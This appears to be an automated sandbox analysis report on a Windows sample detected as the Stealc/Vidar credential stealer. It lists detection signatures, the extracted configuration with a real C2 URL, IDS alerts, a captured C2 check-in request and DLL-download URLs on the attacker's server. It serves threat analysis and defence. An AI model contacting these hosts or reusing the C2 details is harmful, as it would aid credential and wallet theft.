Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1518589
MD5:	17c8d52f56941d59f429f7c7018a724f
SHA1:	49f80980e9613686002232de306764e88312adfc
SHA256:	8028e4730fde9674b5f2c4613c9ece728bcc61de8b486cfe38a78bd8d8e76b08
Tags:	exeStealcuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6604 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 17C8D52F56941D59F429F7C7018A724F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2009086212.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:56.245412+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:56.132393+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:56.494442+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:57.489841+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:56.505200+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:55.801594+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T21:51:57.712974+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:03.680283+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:05.046652+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:05.948087+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:06.932543+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:11.018420+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:11.820566+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 43 46 35 32 31 38 45 36 35 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="hwid"7CF5218E65C93740105281------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="build"save------IJKKEHJDHJKFIECAAKFI--

Source: file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllv
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll(
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllU
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.2251150787.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpD
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpX
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpimple-storage.json$
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpla
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmR
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpp
Source: file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37y
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2281016179.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GCGIDGCG.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: GCGIDGCG.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCGIDGCG.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCGIDGCG.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GCGIDGCG.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2205095390.000000002F41F000.00000004.00000020.00020000.00000000.sdmp, GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2205095390.000000002F41F000.00000004.00000020.00020000.00000000.sdmp, GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2205095390.000000002F41F000.00000004.00000020.00020000.00000000.sdmp, GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C4019	0_2_004C4019
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F00DA	0_2_003F00DA
